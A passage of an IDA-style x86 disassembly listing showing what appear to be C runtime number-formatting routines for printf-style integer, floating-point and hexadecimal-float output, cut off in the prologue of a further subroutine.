		mov	eax, [ebp+var_38]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 18h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	al, [ebp+arg_4]
		cmp	al, 64h
		jz	short loc_44D456
		cmp	al, 69h
		jnz	short loc_44D47B


loc_44D456:				; CODE XREF: sub_44D3E1+6Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jg	short loc_44D47B
		jl	short loc_44D468
		test	eax, eax
		jnb	short loc_44D47B


loc_44D468:				; CODE XREF: sub_44D3E1+81j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_44D47B:				; CODE XREF: sub_44D3E1+73j
					; sub_44D3E1+7Fj ...
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		test	edx, edx
		jnz	short loc_44D492
		test	eax, eax
		jnz	short loc_44D492
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jz	short loc_44D4C2


loc_44D492:				; CODE XREF: sub_44D3E1+A2j
					; sub_44D3E1+A6j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_3C], eax
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_30]
		mov	ebx, [ebp+var_2C]
		mov	edx, [ebp+var_8]
		mov	esi, edx
		mov	edi, esi
		sar	edi, 1Fh
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_44E511
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx+var_20], al


loc_44D4C2:				; CODE XREF: sub_44D3E1+AFj
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_44D221
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	[ecx+4], edx
		jmp	short loc_44D553
; ---------------------------------------------------------------------------


loc_44D4E3:				; CODE XREF: sub_44D3E1+188j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	ebx, ecx
		sar	ebx, 1Fh
		push	edx
		push	eax
		push	ebx
		push	ecx
		call	sub_44E591
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4C], eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	esi, [ebp+var_48]
		mov	edi, [ebp+var_44]
		push	ebx
		push	ecx
		push	edi
		push	esi
		call	sub_44E641
		neg	eax
		adc	edx, 0
		neg	edx
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+4]
		mov	ecx, [ecx]
		add	eax, ecx
		adc	edx, ebx
		mov	edx, [ebp+var_24]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_4C]
		mov	[ebp+edx+var_20], al
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	ebx, [ebp+var_44]
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44D553:				; CODE XREF: sub_44D3E1+100j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jl	short loc_44D56F
		jg	short loc_44D565
		test	eax, eax
		jbe	short loc_44D56F


loc_44D565:				; CODE XREF: sub_44D3E1+17Ej
		cmp	[ebp+var_4], 0
		jg	loc_44D4E3


loc_44D56F:				; CODE XREF: sub_44D3E1+17Cj
					; sub_44D3E1+182j
		cmp	[ebp+var_8], 8
		jnz	short loc_44D59B
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_44D59B
		mov	eax, [ebp+var_4]
		cmp	eax, 18h
		jnb	short loc_44D59B
		cmp	[ebp+eax+var_20], 30h
		jz	short loc_44D59B
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	[ebp+eax+var_20], 30h


loc_44D59B:				; CODE XREF: sub_44D3E1+192j
					; sub_44D3E1+19Dj ...
		mov	edx, [ebp+arg_0]
		mov	eax, 18h
		mov	ecx, [ebp+var_4]
		sub	eax, ecx
		mov	[edx+1Ch], eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		push	edx
		mov	edx, [ebp+var_4]
		lea	edx, [ebp+edx+var_20]
		push	edx
		mov	eax, [eax+10h]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		cmp	[eax+1Ch], edx
		jge	short loc_44D5E7
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		sub	edx, [eax+1Ch]
		mov	[eax+18h], edx
		mov	eax, [ebp+arg_0]
		and	word ptr [eax+38h], 0FFEFh
		jmp	short loc_44D618
; ---------------------------------------------------------------------------


loc_44D5E7:				; CODE XREF: sub_44D3E1+1EEj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44D618
		movzx	edx, word ptr [eax+38h]
		and	edx, 14h
		cmp	edx, 10h
		jnz	short loc_44D618
		mov	edx, [eax+34h]
		sub	edx, [eax+14h]
		sub	edx, [eax+18h]
		sub	edx, [eax+1Ch]
		mov	[ebp+var_4], edx
		test	edx, edx
		jle	short loc_44D618
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax


loc_44D618:				; CODE XREF: sub_44D3E1+204j
					; sub_44D3E1+20Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44D3E1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================



sub_44D621	proc near		; CODE XREF: sub_44C011+40Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_44E681
		pop	ecx
		movsx	eax, ax
		retn
sub_44D621	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D631	proc near		; CODE XREF: sub_44C011+48Cp

var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= qword	ptr -58h
var_50		= qword	ptr -50h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		lea	eax, [ebp+var_3E]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_10]
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44D650
		cmp	al, 41h
		jnz	short loc_44D652


loc_44D650:				; CODE XREF: sub_44D631+19j
		jmp	short loc_44D685
; ---------------------------------------------------------------------------


loc_44D652:				; CODE XREF: sub_44D631+1Dj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44D667
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 6
		jmp	short loc_44D685
; ---------------------------------------------------------------------------


loc_44D667:				; CODE XREF: sub_44D631+28j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jnz	short loc_44D685
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_44D67B
		cmp	al, 47h
		jnz	short loc_44D685


loc_44D67B:				; CODE XREF: sub_44D631+44j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 1


loc_44D685:				; CODE XREF: sub_44D631:loc_44D650j
					; sub_44D631+34j ...
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_44E6F1
		add	esp, 8
		mov	[ebp+var_16], ax
		cmp	ax, 2
		jnz	short loc_44D6EA
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44D6C2
		cmp	al, 65h
		jz	short loc_44D6C2
		cmp	al, 66h
		jz	short loc_44D6C2
		cmp	al, 67h
		jnz	short loc_44D6CB


loc_44D6C2:				; CODE XREF: sub_44D631+83j
					; sub_44D631+87j ...
		mov	[ebp+var_44], 410122h
		jmp	short loc_44D6D2
; ---------------------------------------------------------------------------


loc_44D6CB:				; CODE XREF: sub_44D631+8Fj
		mov	[ebp+var_44], offset word_41011E


loc_44D6D2:				; CODE XREF: sub_44D631+98j
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		jmp	loc_44DC85
; ---------------------------------------------------------------------------


loc_44D6EA:				; CODE XREF: sub_44D631+6Cj
		cmp	[ebp+var_16], 0
		jle	short loc_44D73C
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1Ch], 3
		mov	eax, 3
		push	eax
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44D714
		cmp	al, 65h
		jz	short loc_44D714
		cmp	al, 66h
		jz	short loc_44D714
		cmp	al, 67h
		jnz	short loc_44D71D


loc_44D714:				; CODE XREF: sub_44D631+D5j
					; sub_44D631+D9j ...
		mov	[ebp+var_44], offset word_41011A
		jmp	short loc_44D724
; ---------------------------------------------------------------------------


loc_44D71D:				; CODE XREF: sub_44D631+E1j
		mov	[ebp+var_44], offset off_410116


loc_44D724:				; CODE XREF: sub_44D631+EAj
		mov	eax, [ebp+var_44]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		jmp	loc_44DC85
; ---------------------------------------------------------------------------


loc_44D73C:				; CODE XREF: sub_44D631+BEj
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44D747
		cmp	al, 41h
		jnz	short loc_44D77F


loc_44D747:				; CODE XREF: sub_44D631+110j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+10h]
		add	eax, 10h
		lea	ecx, [edx+1]
		mov	[eax], ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 61h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 58h
		mov	[edx], al
		mov	eax, [ebp+arg_0]
		add	dword ptr [eax+14h], 2


loc_44D77F:				; CODE XREF: sub_44D631+114j
		cmp	[ebp+var_16], 0
		jnz	short loc_44D797
		mov	[ebp+var_12], 0
		mov	[ebp+var_14], 0
		jmp	loc_44DC66
; ---------------------------------------------------------------------------


loc_44D797:				; CODE XREF: sub_44D631+153j
		mov	al, [ebp+arg_4]
		cmp	al, 61h
		jz	short loc_44D7A6
		cmp	al, 41h
		jnz	loc_44D9AC


loc_44D7A6:				; CODE XREF: sub_44D631+16Bj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_44D7B5
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
		jmp	short loc_44D7BC
; ---------------------------------------------------------------------------


loc_44D7B5:				; CODE XREF: sub_44D631+179j
		mov	dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"


loc_44D7BC:				; CODE XREF: sub_44D631+182j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44D7D4
		mov	dword ptr [ebp+var_50],	21h
		jmp	short loc_44D7DE
; ---------------------------------------------------------------------------


loc_44D7D4:				; CODE XREF: sub_44D631+198j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		inc	eax
		mov	dword ptr [ebp+var_50],	eax


loc_44D7DE:				; CODE XREF: sub_44D631+1A1j
		mov	eax, dword ptr [ebp+var_50]
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		inc	eax
		mov	[ebp+var_44], eax
		fld	dbl_4100EC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_44D807
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fchs
		fstp	[ebp+var_58]
		jmp	short loc_44D80F
; ---------------------------------------------------------------------------


loc_44D807:				; CODE XREF: sub_44D631+1C8j
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fstp	[ebp+var_58]


loc_44D80F:				; CODE XREF: sub_44D631+1D4j
		fld	[ebp+var_58]
		fstp	[ebp+var_10]
		sub	[ebp+var_14], 4
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	0
		jmp	loc_44D8B2
; ---------------------------------------------------------------------------


loc_44D82B:				; CODE XREF: sub_44D631+293j
		push	1Ch
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_44E711
		add	esp, 8
		fld	[ebp+var_10]
		call	sub_44E731
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_44]
		sub	eax, 7
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_44D85C
		fld	[ebp+var_10]
		fild	[ebp+var_5C]
		fsubp	st(1), st
		fstp	[ebp+var_10]


loc_44D85C:				; CODE XREF: sub_44D631+21Ej
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax
		mov	[ebp+var_60], 7
		jmp	short loc_44D881
; ---------------------------------------------------------------------------


loc_44D86E:				; CODE XREF: sub_44D631+25Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_5C]
		and	edx, 0Fh
		mov	[eax], dl
		sar	[ebp+var_5C], 4


loc_44D881:				; CODE XREF: sub_44D631+23Bj
		cmp	[ebp+var_5C], 0
		jle	short loc_44D892
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_44D86E


loc_44D892:				; CODE XREF: sub_44D631+254j
		jmp	short loc_44D89E
; ---------------------------------------------------------------------------


loc_44D894:				; CODE XREF: sub_44D631+276j
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	0


loc_44D89E:				; CODE XREF: sub_44D631:loc_44D892j
		mov	eax, [ebp+var_60]
		dec	eax
		mov	[ebp+var_60], eax
		test	eax, eax
		jge	short loc_44D894
		mov	eax, [ebp+var_4]
		add	eax, 7
		mov	[ebp+var_4], eax


loc_44D8B2:				; CODE XREF: sub_44D631+1F5j
		cmp	[ebp+var_44], 0
		jle	short loc_44D8CA
		fld	[ebp+var_10]
		fcomp	dbl_4100EC
		fnstsw	ax
		sahf
		ja	loc_44D82B


loc_44D8CA:				; CODE XREF: sub_44D631+285j
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_44D8EB
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_44D8EB:				; CODE XREF: sub_44D631+2B1j
		cmp	[ebp+var_12], 0
		jl	loc_44D98F
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_44D917
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 8
		jb	short loc_44D917
		mov	[ebp+var_64], 0Fh
		jmp	short loc_44D91E
; ---------------------------------------------------------------------------


loc_44D917:				; CODE XREF: sub_44D631+2CFj
					; sub_44D631+2DBj
		mov	[ebp+var_64], 0


loc_44D91E:				; CODE XREF: sub_44D631+2E4j
		mov	eax, [ebp+var_64]
		mov	byte ptr [ebp+var_60+3], al
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_44D932
; ---------------------------------------------------------------------------


loc_44D92D:				; CODE XREF: sub_44D631+311j
		sub	[ebp+var_12], 1


loc_44D932:				; CODE XREF: sub_44D631+2FAj
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_60+3]
		cmp	[edx+eax], cl
		jz	short loc_44D92D
		cmp	byte ptr [ebp+var_60+3], 0Fh
		jnz	short loc_44D955
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_44D955:				; CODE XREF: sub_44D631+317j
		cmp	[ebp+var_5C], 0
		jge	short loc_44D968
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 4


loc_44D968:				; CODE XREF: sub_44D631+328j
		movsx	eax, [ebp+var_12]
		mov	[ebp+var_5C], eax
		jmp	short loc_44D984
; ---------------------------------------------------------------------------


loc_44D971:				; CODE XREF: sub_44D631+35Cj
		mov	eax, [ebp+var_5C]
		mov	edx, [ebp+var_4]
		add	eax, edx
		movzx	edx, byte ptr [eax]
		mov	ecx, [ebp+var_48]
		mov	dl, [ecx+edx]
		mov	[eax], dl


loc_44D984:				; CODE XREF: sub_44D631+33Ej
		mov	eax, [ebp+var_5C]
		dec	eax
		mov	[ebp+var_5C], eax
		test	eax, eax
		jge	short loc_44D971


loc_44D98F:				; CODE XREF: sub_44D631+2BFj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jge	loc_44DC66
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+var_12]
		dec	eax
		mov	[edx+2Ch], eax
		jmp	loc_44DC66
; ---------------------------------------------------------------------------


loc_44D9AC:				; CODE XREF: sub_44D631+16Fj
		fld	dbl_4100EC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jbe	short loc_44D9C2
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_44D9C2:				; CODE XREF: sub_44D631+387j
		movsx	eax, [ebp+var_14]
		imul	eax, 7597h
		push	eax
		mov	edx, 14F8B589h
		imul	edx
		pop	eax
		shr	eax, 1Fh
		sar	edx, 0Dh
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_14], ax
		test	ax, ax
		jge	short loc_44DA2D
		mov	eax, 3
		movsx	edx, [ebp+var_14]
		sub	eax, edx
		and	eax, 0FFFFFFFCh
		mov	[ebp+var_44], eax
		neg	eax
		mov	[ebp+var_14], ax
		mov	[ebp+var_48], 0
		jmp	short loc_44DA25
; ---------------------------------------------------------------------------


loc_44DA09:				; CODE XREF: sub_44D631+3F8j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_44DA1F
		fld	[ebp+var_10]
		mov	eax, [ebp+var_48]
		fmul	dbl_410094[eax*8]
		fstp	[ebp+var_10]


loc_44DA1F:				; CODE XREF: sub_44D631+3DCj
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_44DA25:				; CODE XREF: sub_44D631+3D6j
		cmp	[ebp+var_44], 0
		jg	short loc_44DA09
		jmp	short loc_44DA7D
; ---------------------------------------------------------------------------


loc_44DA2D:				; CODE XREF: sub_44D631+3B6j
		cmp	[ebp+var_14], 0
		jle	short loc_44DA7D
		fld	dbl_4100E4
		fstp	[ebp+var_50]
		and	[ebp+var_14], 0FFFCh
		movsx	eax, [ebp+var_14]
		mov	[ebp+var_44], eax
		mov	[ebp+var_48], 0
		jmp	short loc_44DA6E
; ---------------------------------------------------------------------------


loc_44DA52:				; CODE XREF: sub_44D631+441j
		test	byte ptr [ebp+var_44], 1
		jz	short loc_44DA68
		fld	[ebp+var_50]
		mov	eax, [ebp+var_48]
		fmul	dbl_410094[eax*8]
		fstp	[ebp+var_50]


loc_44DA68:				; CODE XREF: sub_44D631+425j
		sar	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_44DA6E:				; CODE XREF: sub_44D631+41Fj
		cmp	[ebp+var_44], 0
		jg	short loc_44DA52
		fld	[ebp+var_10]
		fdiv	[ebp+var_50]
		fstp	[ebp+var_10]


loc_44DA7D:				; CODE XREF: sub_44D631+3FAj
					; sub_44D631+401j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44DA88
		cmp	al, 46h
		jnz	short loc_44DA94


loc_44DA88:				; CODE XREF: sub_44D631+451j
		movsx	eax, [ebp+var_14]
		add	eax, 0Ah
		mov	[ebp+var_48], eax
		jmp	short loc_44DA9B
; ---------------------------------------------------------------------------


loc_44DA94:				; CODE XREF: sub_44D631+455j
		mov	[ebp+var_48], 6


loc_44DA9B:				; CODE XREF: sub_44D631+461j
		mov	eax, [ebp+var_48]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_44], eax
		cmp	eax, 13h
		jle	short loc_44DAB5
		mov	[ebp+var_44], 13h


loc_44DAB5:				; CODE XREF: sub_44D631+47Bj
		mov	eax, [ebp+var_4]
		lea	edx, [eax+1]
		mov	[ebp+var_4], edx
		mov	byte ptr [eax],	30h
		jmp	loc_44DB5B
; ---------------------------------------------------------------------------


loc_44DAC6:				; CODE XREF: sub_44D631+53Cj
		fld	[ebp+var_10]
		call	sub_44E731
		mov	dword ptr [ebp+var_50+4], eax
		mov	eax, [ebp+var_44]
		sub	eax, 8
		mov	[ebp+var_44], eax
		test	eax, eax
		jle	short loc_44DAEF
		fld	[ebp+var_10]
		fild	dword ptr [ebp+var_50+4]
		fsubp	st(1), st
		fmul	dbl_4100DC
		fstp	[ebp+var_10]


loc_44DAEF:				; CODE XREF: sub_44D631+4ABj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	dword ptr [ebp+var_50],	8
		jmp	short loc_44DB2A
; ---------------------------------------------------------------------------


loc_44DB01:				; CODE XREF: sub_44D631+508j
		push	0Ah
		mov	eax, dword ptr [ebp+var_50+4]
		push	eax
		call	sub_44E761
		add	esp, 8
		mov	dword ptr [ebp+var_58],	eax
		mov	dword ptr [ebp+var_58+4], edx
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	edx, dword ptr [ebp+var_58+4]
		add	edx, 30h
		mov	[eax], dl
		mov	eax, dword ptr [ebp+var_58]
		mov	dword ptr [ebp+var_50+4], eax


loc_44DB2A:				; CODE XREF: sub_44D631+4CEj
		cmp	dword ptr [ebp+var_50+4], 0
		jle	short loc_44DB3B
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_44DB01


loc_44DB3B:				; CODE XREF: sub_44D631+4FDj
		jmp	short loc_44DB47
; ---------------------------------------------------------------------------


loc_44DB3D:				; CODE XREF: sub_44D631+51Fj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	byte ptr [eax],	30h


loc_44DB47:				; CODE XREF: sub_44D631:loc_44DB3Bj
		mov	eax, dword ptr [ebp+var_50]
		dec	eax
		mov	dword ptr [ebp+var_50],	eax
		test	eax, eax
		jge	short loc_44DB3D
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax


loc_44DB5B:				; CODE XREF: sub_44D631+490j
		cmp	[ebp+var_44], 0
		jle	short loc_44DB73
		fld	dbl_4100EC
		fcomp	[ebp+var_10]
		fnstsw	ax
		sahf
		jb	loc_44DAC6


loc_44DB73:				; CODE XREF: sub_44D631+52Ej
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_3D]
		sub	eax, edx
		mov	[ebp+var_44], eax
		lea	eax, [ebp+var_3D]
		mov	[ebp+var_4], eax
		add	[ebp+var_14], 7
		jmp	short loc_44DB96
; ---------------------------------------------------------------------------


loc_44DB8B:				; CODE XREF: sub_44D631+56Bj
		dec	[ebp+var_44]
		sub	[ebp+var_14], 1
		inc	[ebp+var_4]


loc_44DB96:				; CODE XREF: sub_44D631+558j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	30h
		jz	short loc_44DB8B
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_44DBA9
		cmp	al, 46h
		jnz	short loc_44DBB3


loc_44DBA9:				; CODE XREF: sub_44D631+572j
		movsx	eax, [ebp+var_14]
		inc	eax
		mov	dword ptr [ebp+var_50+4], eax
		jmp	short loc_44DBCE
; ---------------------------------------------------------------------------


loc_44DBB3:				; CODE XREF: sub_44D631+576j
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_44DBBE
		cmp	al, 45h
		jnz	short loc_44DBC7


loc_44DBBE:				; CODE XREF: sub_44D631+587j
		mov	dword ptr [ebp+var_50+4], 1
		jmp	short loc_44DBCE
; ---------------------------------------------------------------------------


loc_44DBC7:				; CODE XREF: sub_44D631+58Bj
		mov	dword ptr [ebp+var_50+4], 0


loc_44DBCE:				; CODE XREF: sub_44D631+580j
					; sub_44D631+594j
		mov	eax, dword ptr [ebp+var_50+4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+2Ch]
		add	eax, edx
		mov	[ebp+var_12], ax
		movsx	eax, [ebp+var_12]
		cmp	[ebp+var_44], eax
		jge	short loc_44DBED
		mov	eax, [ebp+var_44]
		mov	[ebp+var_12], ax


loc_44DBED:				; CODE XREF: sub_44D631+5B3j
		cmp	[ebp+var_12], 0
		jl	short loc_44DC66
		mov	ax, [ebp+var_12]
		movsx	edx, ax
		cmp	edx, [ebp+var_44]
		jge	short loc_44DC15
		movsx	eax, ax
		mov	edx, [ebp+var_4]
		cmp	byte ptr [edx+eax], 35h
		jb	short loc_44DC15
		mov	dword ptr [ebp+var_58],	39h
		jmp	short loc_44DC1C
; ---------------------------------------------------------------------------


loc_44DC15:				; CODE XREF: sub_44D631+5CDj
					; sub_44D631+5D9j
		mov	dword ptr [ebp+var_58],	30h


loc_44DC1C:				; CODE XREF: sub_44D631+5E2j
		mov	eax, dword ptr [ebp+var_58]
		mov	byte ptr [ebp+var_50+3], al
		movsx	eax, [ebp+var_12]
		mov	dword ptr [ebp+var_58+4], eax
		jmp	short loc_44DC30
; ---------------------------------------------------------------------------


loc_44DC2B:				; CODE XREF: sub_44D631+60Fj
		sub	[ebp+var_12], 1


loc_44DC30:				; CODE XREF: sub_44D631+5F8j
		mov	eax, dword ptr [ebp+var_58+4]
		dec	eax
		mov	dword ptr [ebp+var_58+4], eax
		mov	edx, [ebp+var_4]
		mov	cl, byte ptr [ebp+var_50+3]
		cmp	[edx+eax], cl
		jz	short loc_44DC2B
		cmp	byte ptr [ebp+var_50+3], 39h
		jnz	short loc_44DC53
		mov	eax, dword ptr [ebp+var_58+4]
		mov	edx, [ebp+var_4]
		add	eax, edx
		add	byte ptr [eax],	1


loc_44DC53:				; CODE XREF: sub_44D631+615j
		cmp	dword ptr [ebp+var_58+4], 0
		jge	short loc_44DC66
		dec	[ebp+var_4]
		add	[ebp+var_12], 1
		add	[ebp+var_14], 1


loc_44DC66:				; CODE XREF: sub_44D631+161j
					; sub_44D631+365j ...
		movsx	eax, [ebp+var_14]
		push	eax
		movsx	eax, [ebp+var_12]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44E791
		add	esp, 14h


loc_44DC85:				; CODE XREF: sub_44D631+B4j
					; sub_44D631+106j
		mov	esp, ebp
		pop	ebp
		retn
sub_44D631	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DC91	proc near		; CODE XREF: sub_44C9C1+5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	ebx, [ebp+arg_8]
		lea	eax, [ebx+4]
		mov	ebx, eax
		mov	esi, [eax-4]
		push	esi
		push	40h
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44DCC1
		add	esp, 10h
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44DC91	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DCC1	proc near		; CODE XREF: sub_44DC91+1Bp

var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
